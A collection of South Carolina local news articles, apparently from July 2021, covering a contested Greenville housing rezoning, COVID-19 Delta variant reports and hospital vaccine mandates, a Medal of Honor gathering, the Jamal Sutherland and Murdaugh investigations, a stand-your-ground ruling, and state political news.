One theme has emerged: Just because a largely high-end residential project downtown incorporates affordable dwellings doesn't mean it will sail through without critique.

The Mosaic project, which proposes a mix of 133 apartments and townhouses on 4.5 acres off S. Academy Street in the West End, has faced spirited opposition from the surrounding neighborhood.

The opposition came to a head on July 12, as the City Council unanimously voted to table necessary zoning approval and raised concerns about the project's design  including a lack of specific renderings thereof.

The developers, Greenville-based Saint Capital, submitted the plans last November and after a meeting with the community and were directed by the city's Planning Commission to make revisions, which they did.

I really do think that since they changed it a couple times that they have the heart," Councilwoman Lillian Brock Flemming, who made the motion to table the request for a zoning change to planned development, said ahead of the vote. "They just need to know exactly what it is that can be done in that particular area and how it will negatively or positively impact the community.

The project would consolidate 16 properties hemmed between the busy S. Academy Street highway, Perry Avenue, N. Calhoun Street and Ware Street, all a few blocks from the Fluor Field in one direction and the future Unity Park in the other.

Until recent years, the section of neighborhood was mostly a blighted slum, Mayor Knox White said.

During the meeting, White credited local housing developer Cheryl Jenkins and her husband, Mike, with investing in the area a decade ago and keeping a commitment to development in harmony with the character of the neighborhood. Jenkins was one of several who spoke out against the Mosaic before the vote.

When we started out there it was pretty rough  run-down, boarded-up houses, tons of trash, vagrants, drugs, theft, you name it," she said. "Most of our friends thought we were crazy, but look at it now.

Five years ago, the couple turned down a lucrative offer from the nearby QT gas station to buy their property because they felt it was in character with the surroundings. The same was true for an idea to build 22 brownstone homes on Perry Avenue, where instead they built seven single-family homes.

"It pains me to say we're not aligned with this project," Jenkins said.

When the project was first introduced, it was hailed as an example of the public-private partnership approach to tackling Greenville's affordable housing crisis. The Greenville Affordable Housing Coalition estimates that for a two-person household to rent a home without being cost-burdened would require pay in excess of $17 per hour, more than double the current minimum wage.

In November, one of Saint Capital's partners, Richard Jackson, said the project would make a "meaningful dent" in affordable housing and complement downtown's growth.

We want it to grow in a particular way at the highest standard, but also grow in a way that its possible for everyone to live in and around our beautiful downtown," he said.

The developers partnered with the Greenville Housing Authority and Greenville Housing Fund. Five single-family houses owned by the GHA would be torn down and its residents transferred to other units. Saint Capital would use federal opportunity zone incentives that would allow it to make one-quarter of the 133 units affordable and still reach the firm's desired profit margin.

However, residents raised concerns over the project's size, footprint, destruction of heritage trees and unclear final design to oppose it. They cited noise and light pollution, traffic and loss of greenspace.

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The developers altered the project, scaling back buildings and a parking garage and redesigning the footprint to create more open space.

Still, residents expressed a sense that the project, divided into three sections, is "disjointed."

We dont see how it is cohesive and how it interconnects with our existing community," Ian Thomas, head of the West End Neighborhood Association, told the council. "We know when this is built, were not just worried about us who live there now, but were also thinking about who will be moving into this neighborhood, who will be living in these rental units in five to 10 years.

The element of affordable housing creates a dilemma for existing residents but not because they don't support it, resident Deborah Powell said. The push for more affordability has become top of mind socially and politically in the city, gaining steam in the past five years so that affordable housing has permeated discussion on a host of residential projects seeking approval.

The big elephant to us in the room is when you hang affordable housing over top of the development, all of a sudden people get a little skittish to talk about what this means to the neighborhood," Powell said. "Nobody wants to say we dont want affordable housing. We want affordable housing. We want conscientious development, and this does not meet that.

On May 20, 18 months since the developers said they first began working with the city on the project, the city's Planning Commission unanimously recommended approval for a rezoning to "planned development."

The special zoning allows for more flexibility, particularly in regards to density, that in trade comes with more city oversight. Existing zoning would allow for 90 units. The project's design would go back before the planning commission for review before construction could begin.

The PD zoning is meant to be of the highest standard, White said.

However, the mayor said the Mosaic project lacks basic renderings that should be a part of the council's consideration for rezoning. The application provides images of other projects that Mosaic might resemble, but nothing specific to consider.

"You've got to know what these things look like," White said. "We need to see designs at a much higher level, and they need to fit in with the neighborhood, and that's not an unreasonable to ask at all."

The mayor said he believes the heights of buildings can be reduced and more trees preserved.

Council members directed the city's staff to coordinate meetings between the neighborhood and the developers that will include a consultant who has written a small-area master plan for the West End that will come up for approval soon.

Councilwoman Dorothy Dowe said the project doesn't fit with that new plan, which she acknowledged is something the West End neighborhood asked for two years ago.

"We failed as a council," Dowe said. "I apologize to the community for that, for not seeing the house of cards that was coming."

Councilman John DeWorken likened the connections between single-family neighborhoods, multifamily developments and commercial projects to a wedded couple.

"Its a marriage," he said. "Neither party should have carte blanche, have control over the other. Its a real marriage. Not all marriages are made in heaven, but certainly this is a lot like a marriage where youve got to sit down and talk, try to figure something out.
The S.C. Department of Health and Environmental Control is currently reporting 12 cases of the COVID-19 Delta variant in the state and suspects there could be more.

DHEC's public health director, Dr. Brannon Traxler, said only a random sample of positive COVID-19 specimens are sequenced in the state to identify a variant. The purpose of the sequencing is for surveillance and not individual diagnoses.

"Data are showing that the proportion of Delta variants identified is increasing rapidly," Traxler said.

Of the 12 confirmed cases of the Delta variant, one was an individual under the age of 18.

Traxler said data shows COVID-19 vaccines are effective against the Delta variant, especially among those who are fully vaccinated.

People who get the Johnson & Johnson vaccine are considered fully vaccinated two weeks after the one-dose shot. Those who get the Moderna or Pfizer shots are fully vaccinated two weeks after the second dose.

Statewide numbers

New cases reported: 204 confirmed, 121 probable.

Total cases in S.C.: 495,079 confirmed, 105,528 probable.

Percent positive: 8 percent.

New deaths reported: 3 confirmed, 1 probable.

Total deaths in S.C.: 8,675 confirmed, 1,185 probable.

Percent of ICU beds filled: 68.3 percent.

S.C. residents vaccinated

DHEC's vaccine dashboard shows that 49.3 percent of the state's residents have received at least one shot of a COVID-19 vaccine.

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Hardest-hit areas

In the total number of newly confirmed cases, Greenville County (27), Charleston County (21), Horry County (21) and Richland County (18) saw the highest totals.

What about the tri-county?

Charleston County had 21 new cases on July 14, while Berkeley County had 13 and Dorchester County had seven.

Deaths

DHEC did not report the ages of the three people who died in the July 14 data.

Hospitalizations

Of the 192 COVID-19 patients hospitalized as of July 14, 53 were in the ICU and 16 were using ventilators.

What do experts say?

Public health recommendations for protecting people from COVID-19 do not change because of the Delta variant.

"Getting fully vaccinated as soon as possible, as soon as you're eligible is the best way to protect against that Delta variant and all other variants that exists because of the COVID-19 virus," Traxler said.

People who are not vaccinated need to wear a mask in public and avoid close contact with others, she said.

Students who are 12 and older are strongly encouraged to get vaccinated now so they have time to build up immunity against the virus before the start of school or early on in the academic year.
Five employees of the Medical University of South Carolina recently lost their jobs because they refused to comply with hospital policy that mandates workers receive a COVID-19 vaccine.

MUSC spokeswoman Heather Woolwine confirmed the departures July 14. She said she didn't anticipate the number of vaccine-specific terminations to increase.

The Post and Courier previously reported that 26 MUSC employees who had not been vaccinated in late June had been warned they would be fired if they did not receive one. Woolwine said the hospital made exceptions for 2,000 to 3,000 employees who submitted a medical or religious waiver. More than 17,000 people work for MUSC, according to the hospital's website.

Ultimately, if they do not have a religious or medical exemption and choose not to get the vaccine for another reason, we will respect that individual decision and must also do whats best for the safety of our care team members, patients, patients families and visitors, Woolwine said in June.

According to Becker's Hospital Review, only about 30 hospital systems across the country are making vaccines mandatory for employees, although that number is growing. At other health care systems in the Lowcountry, including Roper St. Francis and Trident Health, vaccines for employees are optional. At both of those systems, roughly 70 percent of staff have been vaccinated.

Roper St. Francis spokesman Andy Lyons said the hospital system continues to encourage employees who haven't receive the vaccine to get one.

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In an internal email sent to Roper St. Francis employees, the hospital system explained it was prepared to reopen its COVID-19 unit at the Mount Pleasant Hospital if coronavirus hospitalizations continue to rise.

"If you have not already received the COVID-19 vaccine, RSFH encourages you to do so as we brace for the impact of the Delta variant," the July 14 email said. "Of our COVID inpatients, 77 percent have not been fully vaccinated."

Meanwhile, the Delta variant is top-of-mind at MUSC, too. This week, the hospital system reinstated a mask mandate for members of its care teams who work in clinical areas. The hospital system had briefly made mask-wearing for employees optional.

Woolwine cited the Delta variant and rising cases in South Carolina as reasons for changing course.
Kingstree, SC (29556)

Today

Thunderstorms likely. High 82F. Winds light and variable. Chance of rain 70%..

Tonight

Variably cloudy with scattered thunderstorms. Low 69F. Winds light and variable. Chance of rain 60%.
When Brant Kicklighter of Glenville, Ga., heard 20 living Medal of Honor recipients would be in Charleston this week, he rearranged his schedule so he could get to the Holy City.

On July 13, Matthew Williams  an Army sergeant who was awarded the Medal of Honor by former President Donald Trump for his heroism in Afghanistan  met Kicklighter at the Charleston RiverDogs game after the decorated veteran threw out the first pitch.

The soldier took a moment to sign the Georgia man's binder that contained the names of more than 40 Medal of Honor recipients.

Kicklighter was overjoyed.

I drove here three hours just to see if I could meet these guys, Kicklighter said. "There's not many of them left."

Over the course of two days, the 20 Medal of Honor men visited Charleston to meet with hundreds of residents, politicians and citizens who were giving back to their community.

Kicklighter is right; getting that many of those veterans together is a rare feat. The Medal of Honor is the highest award for valor in action against an enemy that can be given to someone serving in the Armed Forces. The act performed must be highlighted by personal bravery or self-sacrifice that clearly shows the person put his comrades before his own well-being and must have involved the risk of ones life.

Since 1863, more than 3,500 veterans have received the award. Today, only 67 honorees are living.

Of all the Medal of Honor recipients who served in World War II, only one man  Hershel Woodrow Williams  is still alive after surviving the Marine landing at Iwo Jima. Only four men who fought in Korea and received the award are living today.

The majority of the current Medal of Honor survivors today fought in Vietnam and a handful served in America's conflicts in Afghanistan and Iraq.

To these men, it doesn't matter when or where they served. The military is a brotherhood, one that has united men and women for generations. Those who have been awarded the Medal of Honor are in a league of their own, and have formed lifelong friendships with veterans, young and old, among the Congressional Medal of Honor Society.

Matthew Williams, who is not related to World War II's Hershel Williams, said he has looked up to the Vietnam veterans in the society since he was a child.

Williams was awarded the Medal of Honor in 2019 for leading a counterattack in Afghanistan, where he crossed a valley of ice-covered boulders and a fast-moving, ice-cold and waist-deep river to provide assistance to soldiers pinned down by enemy fire.

As a recent inductee into the society, Matthews said he has tried to soak up as much from the older guys as possible.

"The greatest thing about being part of this society is that we grew up reading about these guys and what they've done," Williams said. "And we were inspired to serve in the manner that they did."

Some of the older men, including Robert Modrzejewski, James Livingston and Jay Vargas  all Marines who fought in Vietnam  have become close friends since they've joined the society. All three fought in some of the bloodiest battles in Vietnam. Vargas and Livingston had both been wounded leading men in an attack on the fortified village of Dai Do.

They said the hardest part is coming back to civilian life and explaining what war is like to those who don't understand.

"It's easier if I'm told to earn the medal that is to wear, because it's so demanding," Vargas said. "I am very humbled every time I put it on. I still kind of shake a little when I wear it."

The Congressional Medal of Honor Society was founded in 1958. It is headquartered on the aircraft carrier Yorktown in Mount Pleasant.

Drew Dix, president of the Congressional Medal of Honor Society and a Vietnam War recipient, said the group was originally formed to meet other Medal of Honor recipients. But it's grown into something more than a social club.

"The purpose of us getting together, originally, it was to promote camaraderie among recipients because we're kind of unique and stand alone among other folks," Dix said. "But we don't feel that way. What we like to do, when it came right down to it, is we like to give back to the communities in the country."

While in Charleston, the group of men had a packed schedule. On July 13, some met Charleston Mayor John Tecklenburg, who gave them keys to the city at the City Council chambers, before being honored at the RiverDogs stadium.

On July 14, a group of them spoke to 225 incoming cadets at The Citadel while others spoke to veterans in North Charleston.

They also presented the 2020 and 2021 Citizen Honors Service Awards for Acts of Selfless Service on behalf of the Congressional Medal of Honor Society during a dinner at Belmond Charleston Place.

Michael Jernigan of North Richland, Texas, was one of the award recipients. He co-founded "Paws For Patriots," which provides guide dogs and service animals to veterans. Some of the honorees were younger, like Charlie Austin, whose group "The Warrior Program" helps train Special Olympics athletes in Maine.

"You receive a medal of honor for saving lives, not necessarily for taking lives," Dix said. "And that's a message we like to tell kids is that you don't have to be in the military or have to have a Medal of Honor to do great things."
Leaders of a social action group have asked S.C. Chief Justice Donald W. Beatty to appoint a different solicitor to take over the criminal investigation into Jamal Sutherlands death.

A July 14 letter from Racial Justice Network leaders comes after community activists have been increasing pressure on 9th Circuit Solicitor Scarlett Wilson to charge detention deputies Brian Houle and Lindsay Fickett regarding their roles in Sutherland's death.

Sutherland, a 31-year-old mentally ill man, refused to leave a cell at the Charleston County jail for a bond hearing on Jan. 5. Houle and Fickett forced him from the cell using pepper spray and Tasers  actions that may have led to his death. The incident was captured on body camera video and jail video recorders.

In support of the family, community, civic organizations and the greater Charleston area, we respectfully request that you appoint a new Solicitor to take over the Sutherlands case, James Johnson, president of the Racial Justice Network S.C., wrote in the letter, which also was emailed to the chief justice on July 13.

In a July 14 news conference, Johnson said Wilson had been prolonging the decision to charge the detention deputies.

How many times does she want to call specialists in? Johnson said. Its plain to see this man was tased nine times and died on the floor. What more does she want?

It was unclear on July 14 whether the chief justice could remove a solicitor. A spokesman for S.C. Attorney General Alan Wilson's office said he has the authority to appoint a special prosecutor. That role is not defined in the South Carolina Constitution for the chief justice. But that duty is not prohibited in the constitution either.

Wilson had been expected to make a decision by the end of June on whether to criminally charge Houle and Fickett. She said on June 29 and again on July 14 her office was continuing to investigate the case.

The solicitor issued a statement on July 14 saying delays in the investigation have come from the Charleston County Sheriff's Office.

"After nearly seven months of requests from SLED, my office and later the FBI, on last Thursday afternoon, July 7, 2021, the Charleston County Sheriffs Office provided my office with 162 gigabytes of information regarding the Special Operations Group, the Sheriffs team of detention deputies involved in the death of Jamal Sutherland," Wilson said in the statement. "Already within this recently provided information, we have discovered evidence relevant to our investigation."

Later on July 14, Sheriff Kristin Graziano said the delay was prompted by discovery of a training video used by the Special Operations Group. She said in an emailed statement she notified Wilson "immediately."

"As a result of this discovery, I deemed it prudent to do an additional expansive search for anything that may be considered relevant to this matter that had not already been submitted to the solicitor," Graziano said.

"The information that Solicitor Wilson referred to in her statement today was uncovered by a third party that our office deemed could be relevant to this investigation," the sheriff wrote. "As a result of the prior administrations lack of training records as it pertains to the SOG unit, it has been difficult to obtain all information as quickly as we would like."

Wilson said she met with Sutherland's family and their attorneys "to inform them" of the sheriff's delays.

"They share in my disappointment and concern over delays by the Sheriffs Office," she wrote. "Both the community and the Sutherland family deserve a thorough investigation and I will continue to push for that."

Sutherland's mother said on July 14 she was perplexed by the delays.

"I am having a hard time waiting as these criminals get to walk free from a murder they committed on my son," Amy Sutherland told The Post and Courier. "They should be in jail. If my son had murdered a White person he would have been jailed on day one. What does that say about the criminal system in Charleston, S.C.? It's like we are still living in the '60s in this state. If life doesn't change in our state we are in for a horrible riot. Please just pray for my family."

Sutherland had been diagnosed with mental illness since his teens. His family brought him to Palmetto Behavioral Health days before his death for treatment. The night before his death in jail, North Charleston police were called to Palmetto following a disturbance.

The Sutherland family resolved litigation in May with the city of North Charleston and the Charleston County Sheriff's Office in one of the largest legal settlements of its type in South Carolina, $10 million.

At the July 14 news conference, activists and Charleston-area officials stood by Johnson in the sweltering afternoon heat as he explained why he wrote the letter to Beatty. They gathered in a courtyard next to the Solicitors Office on Meeting Street.

I dont want to hear her excuses no more, Johnson said. We want her off this case and we dont want her to handle any other high-profile cases.

Thomas Dixon, a community activist, said Wilsons handling of Sutherlands case parallels her investigation into the killing of Walter Scott in North Charleston six years ago. Michael Slager, a former North Charleston police officer, fatally shot Scott following an April 4, 2015, traffic stop, a foot chase and a struggle involving a Taser. The shooting made international news after cellphone video recorded by a bystander surfaced in the days following the shooting.

The state case against Slager, headed by Wilson, ended in a mistrial. A federal criminal case against Slager resulted in a 20-year prison sentence, which was upheld in April by a federal judge.

"We stood here in the aftermath of the death of Walter Scott, asking that Solicitor Scarlett Wilson recuse herself from that case," Dixon said.

Johnson said the Racial Justice Network awaited Beattys response.

After the news conference, Stand as One, a local activist group, met to create posters asking Wilson to press charges against the the detention deputies.

The event was designed to give those under 18 a chance to write letters and draw pictures for Wilson about the Sutherland case. Members of the group planned to present the posters and letters to the solicitors office.
A 9th Circuit Court judge cleared a store clerk of murder charges in a September fatal shooting at a downtown convenience store.

Suhib Yousef, a Jordanian citizen, was 18 when he was accused of fatally shooting 41-year-old David Wilson on Sept. 28 after an altercation at his uncle's store on President Street.

Yousef was initially charged with attempted murder and a firearm offense. After Wilson died from his wounds, the attempted murder charge was upgraded to murder.

Judge R. Markley Dennis Jr. dismissed the charges against him on June 24 after determining Yousef had a right to defend himself during his encounter with Wilson under the Protection of Persons and Property Act, the state's version of a stand-your-ground law.

Officers were called to a report of a shooting at Greens Grocery, 167 President St., at 5:55 p.m. Sept. 28, according to court records. When they arrived, police found Wilson suffering from gunshot wounds to the head.

Surveillance footage revealed that an altercation between Wilson and Yousef precipitated the shooting, records show.

Yousef's defense attorney, Andy Savage, said in his motion for immunity that Wilson attempted a "flim flam" with Yousef by attempting to steal a phone charger.

Yousef repeatedly told Wilson to leave the store and he refused, shoving display products from the register counter toward the store clerk and spitting at him.

Yousef, who was a victim of an armed robbery at the store only a couple months before, first threatened Wilson with a Taser and then a machete before finally pulling out a pistol, records state.

Wilson momentarily left the store, record state, but he struck Yousef's hand that was holding the gun before he left. After pacing outside for a few moments, Wilson rushed into the store and attacked Yousef.

Yousef responded by firing the gun at Wilson, striking him twice in the head.

Savage argued in his motion that Yousef's actions presented a "text book case of self-defense."

David Franklin DuTremble, an assistant solicitor with the 9th Circuit Solicitor's Office, argued in a response to Savage's motion that it was Wilson who acted in self-defense by rushing at Yousef in an attempt to disarm him.

"The danger of loss of life or great bodily injury in this case was brought about by the Defendant himself who threatened the victim with multiple weapons at different times," the state claimed.

Ultimately, the judge ruled in favor of the defense.

"When Wilson physically attacked Yousef, he placed Yousef in reasonable fear of imminent serious injury," Dennis wrote. "Accordingly, Wilson's actions gave Yousef the statutory right to use lethal force."
WALTERBORO  More than a month after two members of a prominent South Carolina family were found dead, police say its still too early in the investigation to say what evidence will end up being important.

That is the State Law Enforcement Divisions argument for continuing to keep secret even basic details of what investigators have found so far about the June 7 shooting deaths of Maggie and Paul Murdaugh at their familys hunting lodge on the edge of Colleton County.

Circuit Judge Bentley Price asked SLED and the Colleton County Sheriffs Office to justify the extensive redactions they applied to their public reports on the killings, which were only released after The Post and Courier filed a lawsuit. At a July 14 hearing on the blacked-out information, Edward Fenno, an attorney for the newspaper, argued that the agencies had been "unlawfully heavy-handed" in their approach.

"They're not thinking about the Freedom of Information Act," Fenno said. "They're just redacting as they see fit."

South Carolinas open-records law allows police to withhold information if releasing it would interfere with potential law enforcement action, give up their techniques or invade someones privacy.

In justifying their redactions, the agencies acknowledged that they blacked out all manner of details, including who found the bodies and where they were found, what vehicles and firearms were nearby, and which neighboring properties had security cameras.

The agencies argue that such details should stay private in part so that investigators can test potential witnesses truthfulness. They also contend that details about the crime would likely be misconstrued by the general public.

SLED's general counsel, Adam Whitsett, said at the hearing that the state Legislature intended to give police wide latitude in releasing information. Lawmakers in 2017 expanded exemptions for law enforcement.

"They did so to protect the integrity of the criminal justice process," Whitsett said.

And in a sign of where the investigation stands after a month, they argue that they dont know what details will be relevant to solving the crime.

At this stage of any investigation such as this, it is exceedingly difficult to know precisely what evidence, witnesses, and information are of ultimate importance, and what evidence, witnesses, or information proves to be of little value, SLED and the Sheriffs Office wrote in their explanation.

In a brief to the court, Fenno countered that the law doesnt let police withhold information based on hypothetical concerns. Police have to prove that disclosing information  'would' interfere with their work or  'would' cause similar problems, he wrote.

The FOIA statute does not say might; it says would,  Fenno wrote.

At the July 14 hearing, Price said he would review the redactions and order the agencies to release more information if he concluded they had overstepped.

The agencies had previously resisted releasing even the heavily redacted version of their reports. SLED made them public only days after The Post and Courier sued the agencies for allegedly violating the states Freedom of Information Act.

Under state law, police reports are public records, and members of the public dont need to submit a written request to read them within 14 days of an incident. Yet in the days after the Murdaugh killings, SLED and the Sheriffs Office turned the newspapers reporters away. Before The Post and Courier filed its lawsuit on June 17, the agencies released only a one-line report that said police were called to an address.

Read why authorities redacted Murdaugh case information The State Law Enforcement Division and the Colleton County Sheriffs Office released heavily redacted reports from the Murdaugh double-homicide case after The Post and Courier filed a lawsuit against the two agencies. South Carolinas open-records law allows police to withhold information if releasing it would interfere with a potential law enforcement action, give up their techniques or invade someones privacy. But an attorney for The Post and Courier has argued that they are being too heavy handed in their approach and are violating the states open-records law in the process. The Post and Courier | Credit: Brandon Lockett and Bryan Brussee Why authorities redacted Murdaugh case information The State Law Enforcement Division and the Colleton County Sheriffs Office released heavily redacted reports from the Murdaugh double-homicide case after The Post and Courier filed a lawsuit against the two agencies. Below is an annotated copy of the reports showing the information that has been withheld from the public and the explanations the agencies offered for doing so. Read report

Police have made no arrests in the case, and they have named no suspects or possible motives for why 22-year-old Paul and 52-year-old Maggie Murdaugh might have been shot. Police immediately assured the public that there was no danger, without explaining how that conclusion was reached.

Later, the Murdaugh family offered a $100,000 reward for information that secures a conviction, and SLED set up a tip line to solicit information from the public, signaling that the search is wide open.

In the void of information, rumors and speculation have swirled, amplified by international media interest in the case and the Murdaugh familys prominent position in the states southernmost region.

The family founded a law firm in the small town of Hampton a century ago and established rural Hampton County as a hostile environment for big companies. The firm, Peters, Murdaugh, Parker, Eltzroth and Detrick, boasts multiple multimillion-dollar victories won in the county, which has fewer than 20,000 residents. Maggie and Paul Murdaugh were found on a sprawling tract of family land that straddles Hampton and Colleton counties.

The family also oversaw every criminal case in a five-county region for the better part of a century. Three generations of Murdaughs held office as the areas top prosecutor for more than eight decades. The family still has ties to the office: Alex Murdaugh  Maggies husband and Pauls father, who first reported the killings to police  works part time for the office.

That connection is how SLED came to run the investigation in the first place. The Colleton County Sheriffs Office said it could not take the lead because it had a conflict of interest.
Syndicated and guest columns represent the personal views of the writers, not necessarily those of the editorial staff. The editorial department operates entirely independently of the news department and is not involved in newsroom operations.
Twenty recipients of the Medal of Honor are in town today. Today, Americas greatest heroes walk among us.

These recipients of our nations highest military honor are attending the Congressional Medal of Honor Societys awards banquet, which honors civilians from across the nation for exemplifying the selfless sacrifice and service that the award represents.

The highlight of the occasion will be the 2020-21 Citizen Honors Service Awards ceremony dinner this evening at the Belmond Charleston Place Hotel.

But today is not the only day there is a strong Medal of Honor presence here. Locally, we have a long and deep relationship with this special award.

Congress established the Congressional Medal of Honor Society in 1958 with this stated purpose: To create a brotherhood among the living Medal of Honor recipients; to protect and uphold the dignity and honor of the Medal; to promote patriotism and love of country; and to inspire our youth to become worthy and dedicated citizens of our nation.

More than 3,000 Medals of Honor have been awarded since its inception, but today, there are only 67 living recipients.

Our town had the honor of being chosen by the Congressional Medal of Honor Society several decades ago as the location of its headquarters at Patriots Point. The town of Mount Pleasant has played a key leadership and funding role in establishing the current Medal of Honor Museum aboard the USS Yorktown.

Congress designated Patriots Point as one of only three recognized Medal of Honor sites in the country via the 1999 National Medal of Honor Memorial Act.

The Medal of Honor Foundation, which supports the society and its members, also calls this home. The role of the foundation is to make it possible to Uphold American values:

Inspire the next generation of every day heroes.

Honor and preserve recipients legacy of sacrifice and courage.

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We are also proud to have our own resident recipient, retired Marine Major Gen. James Livingston, who is actively engaged in our community in many ways.

On behalf of all the citizens of Mount Pleasant, in recognition of our relationship with the recipients and our dedication to all that they stand for, I will be presenting a key to the city to the society at an event aboard the Yorktown today.

Our town is committed to the society and to the preservation of the legacy of all who have received this award. Town Council unanimously voted to commit $3 million to the locally driven effort to build a museum, leadership and character development center that will house the societys and the foundations headquarters.

It will be a hub of collaboration, and working closely with the society, the Medal of Honor Learning & Education Center at Patriots Point will be a fitting and feasible museum  and much more.

The center will provide the immersive experience of a state-of-the-art museum coupled with a national education collaboration involving institutions across the country.

In March, we began a new tradition: Medal of Honor Day in the town of Mount Pleasant. Major Gen. Livingston spoke to a large crowd gathered at Patriots Point to commemorate the occasion. After that event, I received this message from recipient Drew Dix, president of the Society:

On behalf of the Congressional Medal of Honor Society and our recipients, I thank you for the honor of proclaiming 25 March 2021 as Medal of Honor Day in Mount Pleasant.

We are proud to be a part of your community. Its a perfect partnership as we move forward together in our quest to make a difference in our country.

We are honored to be the home of Americas heroes, and we dedicate ourselves to commemorating the values they stand for and teaching them to future generations.

Will Haynie is mayor of Mount Pleasant.
Fewer than two-thirds of Americans were eager to get vaccinated against COVID-19, but while there are some anti-vaxxers, on the right and left, most of the rest of our neighbors simply have questions or dont consider it a priority.

Thats why public health officials have worked so hard to enlist trusted voices  politicians, celebrities, doctors, teachers, ministers  to help convince people to roll up their sleeves. Its why so many of those ambassadors, including S.C. Gov. Henry McMaster, shared pictures of themselves getting vaccinated: to show anyone who respects them that they considered it safe and important.

And its been clear for months that getting enough people vaccinated to prevent a resurgence  particularly in states such as South Carolina, which has one of the lowest vaccination rates in the country  is going to be a long, slow slog, often involving individual conversations in doctors offices or over coffee or at public events.

So it came as no surprise when, after we failed to reach his goal of having 70% of the country vaccinated by Independence Day, President Joe Biden said that as the federal government winds down its mass vaccination sites it's focusing more on community outreach: Now we need to go to community by community, neighborhood by neighborhood, and oft times door to door  literally knocking on doors  to get help to the remaining people protected from the virus.

As The Associated Press reports, the federal COVID relief bill passed in March funded grassroots vaccination efforts that have been in operation since April and have included, for example, one-on-one campaigns in Hispanic and black neighborhoods, where vaccination rates have lagged.

Of course, none of that stopped a few fringe politicians from trying to conjure up absurd images of federal goons forcing their way into our homes and holding us down while they push the vaccine into our arms. Or from spinning wild conspiracy theories about some sort of federal mechanisms to build a door-to-door campaign that could then be used to go door to door and take your guns and go door to door to take your Bibles.

It was particularly disappointing to see our own governor join in the hair-on-fire chorus on Friday. In a letter to the DHEC board, Mr. McMaster warned against Enticing, coercing, intimidating, mandating, or pressuring anyone to take the vaccine" and said the "prospect of government vaccination teams showing up unannounced or unrequested at the door of targeted homeowners or on their property will further deteriorate the publics trust and could lead to potentially disastrous public safety consequences.

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He urged the board to promptly issue direction to agency leadership and to state and local healthcare organizations prohibiting the use of the Biden Administrations targeted door to door tactics in the States ongoing vaccination efforts.

Were not sure DHEC has the authority to prohibit state and local healthcare organizations such as hospitals or community health clinics from going door to door and encouraging people to get vaccinated  which is all the president was advocating. Even if it had that authority, it would be irresponsible to use it.

What the president suggested is no more "intrusive" or "coercive" than Mr. McMaster and other politicians sending campaign volunteers out to knock on targeted doors to talk up their election campaigns. Annoying, perhaps, if youre not interested, but not "intimidating," or "pressuring."

The governors implications are not grounded in any reasonable reading of the presidents words and bear no connection to what has been happening across the country since April. Some Democrats want the president to issue a federal vaccine mandate, but we're pretty sure you wouldn't have to guess if he tried that, and we're not sure he has the authority to do it anyway.

Now, there have been examples of government, and businesses, and community organizations enticing people to get vaccinated  from Krispy Kremes free donuts to special lotteries. Mr. McMaster might not want government money spent on enticements  and thats a legitimate opinion to hold  but theres nothing inherently inappropriate about any of it.

And contrary to the impression you might get from Mr. McMasters own refusal to even implicitly do so since that initial picture, theres nothing wrong with government officials urging vaccinations. Just the opposite. It's the responsible thing to do  like urging people to evacuate before a hurricane or to stop smoking, exercise more and eat and drink less. So we were encouraged to see DHEC Director Dr. Edward Simmer respond almost immediately to the governors letter by saying the agency isnt conducting door-to-door campaigns  and then pivot to urging all South Carolinians to get vaccinated. As he does frequently.

We were disappointed too that the White House lashed out at Mr. McMasters misleading letter with such ferocity that DHEC felt the need to defend the job its been doing. South Carolina certainly has an embarrassingly low vaccination rate. But in a state where the Legislature prohibits public schools from requiring unvaccinated students to wear masks and public officials are afraid of riling up extremists by even suggesting that people should get vaccinated, the agency has been doing an admirable job. Imagine how much more it could do with more support from our elected officials.
Goose Creek, SC (29445)

Today

Thunderstorms. High 84F. Winds SW at 5 to 10 mph. Chance of rain 90%..

Tonight

Scattered thunderstorms, especially in the evening. Low 71F. Winds SW at 5 to 10 mph. Chance of rain 60%.
COLUMBIA  South Carolina State University's board of trustees voted to fire college President James Clark on July 13, ending a five-year tenure that had been marred by recent criticism that the former AT&T executive had not done enough to salvage the historically Black university's enrollment struggles.

In a brief statement, board chairman Rodney Jenkins said the majority of the board had voted to terminate Clark for cause effective immediately.

"The Board thanks President Clark for his service to South Carolina State University over the last five years of his term and wishes him much success in his future endeavors," Jenkins said.

Clark's lawyer, Donald Gist, told The Post and Courier that Clark was "shocked and dismayed" by the board's actions, saying they had offered no substantive explanation to the public for their decision.

"This university's stability has constantly been called into question, and once again the board has taken a step that we believe is a very damaging and drastic step to oust another outstanding leader of South Carolina State University," Gist said.

Gist declined to say whether Clark would pursue legal action against the university, but he said his law firm intends to "uphold and vigorously defend the integrity of James Clark."

The board's abrupt decision capped off a sharp fall from grace for Clark, who took over as the Orangeburg university's president in July 2016 with hopes of turning it around.

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While S.C. State has historically been one of the largest and best-known of the Palmetto States eight historically black colleges and universities, the school has been mired in controversy for years.

In the early days of Clark's tenure, he helped steer the school away from the debilitating possibility of losing its accreditation due to financial messes and declining enrollment.

But another hit to enrollment during the coronavirus pandemic landed Clark in hot water. Some faculty and alumni declared that they had lost confidence in Clark's leadership, putting pressure on the board to take action.

The vote to fire Clark came just months after he received a boost of support from Nikki Haley when the former S.C. governor and U.S. ambassador to the United Nations toured the campus and said she believes in Clark's vision for the school.

"I would love to see what five more years of President Clark would do because I think it would be magic," Haley, a Republican who is likely to run for president in 2024 or beyond, said at the time of her visit.

Instead, Clark is out and the school is poised to search for a replacement.

Vice President Alexander Conyers, a retired U.S. Army colonel and S.C. State alumnus, will take over in an interim capacity after a unanimous vote by the board.
U.S. Sen. Tim Scott, R-S.C., has raised $9.6 million in the second quarter of 2021, putting him at the front of the financial pack among senators across the country facing re-election next year.

His campaign noted the large war chest.

Sen. Tim Scotts campaign is built on a broad base of grassroots supporters who stand with him to fight a radical and out of touch Democratic agenda that will hurt South Carolina families, Sam Oh, a consultant to Tim Scott for Senate, said in a statement.

South Carolina is ready to re-elect Tim Scott and we are proud of the record breaking support we have received so early in the cycle, he said.

Over 91,000 donors contributed to the second-quarter record haul. Scott ended the quarter with over $14.5 million cash on hand, his campaign announced on July 13.

The latest fundraising haul is an example of how Scott's star has risen this past year and how his increased appearances on national television and in major publications have bolstered his name recognition.

The 55-year-old politician has said his reelection campaign in 2022 would be his last time running for the Senate post. Speculation is still mounting on whether the lone Black Republican in the Senate has aspirations on the White House in 2024.

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When pressed by The Post and Courier last month on whether he would commit to serving out the full six-year term if he wins reelection, Scott said, I commit to serving the people of South Carolina without any question.

Notably, Scott secured major donations after former President Donald Trump endorsed the senator in March and after the senator delivered the GOP's rebuttal to President Joe Biden's first speech to a joint session of Congress, in April.

